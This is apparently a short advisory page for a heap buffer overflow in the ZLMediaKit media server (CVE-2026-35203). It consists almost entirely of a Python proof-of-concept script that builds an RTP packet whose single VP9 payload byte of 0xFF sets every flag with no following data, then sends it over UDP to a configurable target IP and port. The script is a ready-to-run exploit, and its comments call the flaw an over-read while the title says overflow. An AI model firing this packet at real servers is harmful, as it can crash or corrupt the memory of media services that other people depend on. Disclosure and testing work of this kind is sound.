CVE-2026-35203 ZLMediaKit堆缓冲区溢出漏洞

import socket import struct # Construct a malicious VP9 RTP packet # RTP Header (12 bytes) + Payload (1 byte: 0xFF) # V=2, P=0, X=0, CC=0, M=0, PT=96 (Dynamic), Seq=1, TS=0, SSRC=1 def create_malicious_packet(): rtp_header = struct.pack('!BBHII', 0x80, # Version 2, No padding, No extension, No CSRC 96, # Payload Type (Dynamic) 1, # Sequence Number 0, # Timestamp 1 # SSRC ) # Malicious Payload: 0xFF sets all flags, indicating many fields follow, # but no data is provided, causing buffer over-read. payload = b'\xFF' return rtp_header + payload def send_exploit(target_ip, target_port): packet = create_malicious_packet() sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: print(f"Sending malicious packet to {target_ip}:{target_port}") sock.sendto(packet, (target_ip, target_port)) except Exception as e: print(f"Error: {e}") finally: sock.close() if __name__ == "__main__": # Replace with actual target IP and Port TARGET_IP = "127.0.0.1" TARGET_PORT = 10000 send_exploit(TARGET_IP, TARGET_PORT)